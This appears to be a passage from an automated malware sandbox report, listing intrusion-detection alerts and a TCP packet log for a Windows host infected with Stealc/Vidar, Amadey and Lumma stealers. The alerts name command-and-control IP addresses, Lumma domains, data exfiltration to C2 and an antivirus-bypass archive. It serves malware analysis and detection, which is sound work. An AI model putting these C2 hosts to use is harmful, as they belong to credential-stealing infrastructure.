2024-12-20T16:06:23.831453+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-20T16:06:25.149612+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-20T16:06:25.880092+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-20T16:06:52.643304+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:06:54.555242+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:06:55.839142+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:06:56.992290+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:07:00.568194+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:07:01.618166+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:07:07.745529+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49806	185.215.113.16	80	TCP
2024-12-20T16:08:05.827788+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49935	185.215.113.43	80	TCP
2024-12-20T16:08:10.559905+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49946	31.41.244.11	80	TCP
2024-12-20T16:08:11.656922+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	31.41.244.11	80	192.168.2.5	49946	TCP
2024-12-20T16:08:12.891782+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	52308	1.1.1.1	53	UDP
2024-12-20T16:08:13.039410+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	64239	1.1.1.1	53	UDP
2024-12-20T16:08:13.181994+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.5	60378	1.1.1.1	53	UDP
2024-12-20T16:08:14.322005+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49942	TCP
2024-12-20T16:08:14.567062+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49957	172.67.197.170	443	TCP
2024-12-20T16:08:14.567062+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49957	172.67.197.170	443	TCP
2024-12-20T16:08:15.621764+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49957	172.67.197.170	443	TCP
2024-12-20T16:08:15.621764+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49957	172.67.197.170	443	TCP
2024-12-20T16:08:15.670526+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49958	185.215.113.43	80	TCP
2024-12-20T16:08:16.857025+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49964	172.67.197.170	443	TCP
2024-12-20T16:08:16.857025+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49964	172.67.197.170	443	TCP
2024-12-20T16:08:17.140841+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49965	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:06:13.487051964 CET	49674	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:13.502815962 CET	49675	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:13.596540928 CET	49673	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:20.902153015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:21.021961927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:21.022058964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:21.022310972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:21.341567993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:22.355922937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:22.356113911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:22.359261036 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:22.478914976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:22.812808037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:22.812908888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:22.814651012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:22.934262991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.096297026 CET	49674	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:23.111978054 CET	49675	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:23.205703974 CET	49673	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:23.254008055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.254080057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.254154921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.254200935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.255579948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.375976086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701672077 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701756001 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701767921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701817036 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.701854944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.701862097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701875925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701888084 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.701909065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.701932907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.710195065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:23.710275888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.711755991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:23.831453085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.157869101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.158056021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:24.176731110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:24.176798105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:24.296618938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.296638012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.296731949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.296741962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.296789885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.296842098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:24.296853065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.149468899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.149611950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.442612886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.562503099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.617829084 CET	443	49703	23.1.237.91	192.168.2.5
Dec 20, 2024 16:06:25.617984056 CET	49703	443	192.168.2.5	23.1.237.91
Dec 20, 2024 16:06:25.879966021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.880091906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.880244017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.880342007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.884057999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.884135962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.884166956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.884212017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.892514944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.892625093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.892785072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.892836094 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.900947094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.901041985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.901146889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.901192904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.909229040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.909339905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.909408092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.909408092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.918018103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.918071985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:25.918143988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:25.918163061 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.004329920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.004400969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.004401922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.004442930 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.008655071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.008732080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.009407043 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.009458065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.009627104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.009677887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.017633915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.017698050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.017729044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.017790079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.025965929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.026087046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.026318073 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.026365995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.034359932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.034457922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.071841955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.071903944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.072021961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.072062016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.076054096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.076128006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.077579021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.077641964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.077737093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.077790022 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.082571030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.082633018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.082681894 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.082736969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.091003895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.091084003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.091181040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.091228962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.099407911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.099494934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.099560022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.099602938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.107865095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.107919931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.107991934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.108042002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.116133928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.116180897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.116200924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.116221905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.128621101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.128679991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.128684998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.128751993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.132575989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.132642031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.134067059 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.134130955 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.134162903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.134217978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.141937971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.142011881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.142162085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.142220974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.149991989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.150064945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.150393963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.150448084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.157488108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.157552958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.196293116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.196360111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.197026968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.197074890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.199187040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.199240923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.199249029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.199290037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.205022097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.205080986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.207220078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.207285881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.207423925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.207488060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.213043928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.213102102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.213855982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.213908911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.219080925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.219094992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.219134092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.219158888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.224773884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.224832058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.225820065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.225867987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.230664015 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.230726957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.230926991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.230977058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.236588001 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.236665964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.236687899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.236748934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.242372036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.242436886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.264870882 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.264931917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.265295029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.265342951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.266624928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.266673088 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.266807079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.266855001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.269545078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.269612074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.269673109 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.269722939 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.272766113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.272814035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.272906065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.272950888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.276484013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.276537895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.276899099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.276946068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.280250072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.280303001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.280354023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.280431032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.282778978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.282847881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.283047915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.283092976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.286124945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.286187887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.286358118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.286406994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.288935900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.289000988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.289104939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.289153099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.292288065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.292342901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.320952892 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.321063042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.321475029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.321598053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.322315931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.322381020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.322859049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.322912931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.324834108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.324889898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.325215101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.325297117 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.328077078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.328136921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.328154087 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.328202963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.331319094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.331414938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.331630945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.331676960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.334498882 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.334546089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.334954023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.335005045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.337697029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.337749958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.338068962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.338119030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.340878963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.340934992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.388726950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.388844013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.388904095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.389288902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.390228033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.390296936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.390494108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.390554905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.393343925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.393455982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.393862963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.393933058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.396420002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.396506071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.397015095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.397074938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.399548054 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.399705887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.399713993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.399751902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.402635098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.402693033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.402841091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.402894974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.405668974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.405739069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.405832052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.405884027 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.408725977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.408864975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.409291029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.411598921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.411691904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.411709070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.411757946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.414397955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.414468050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:26.414536953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:26.414608955 CET	49704	80	192.168.2.5	185.215.113.206
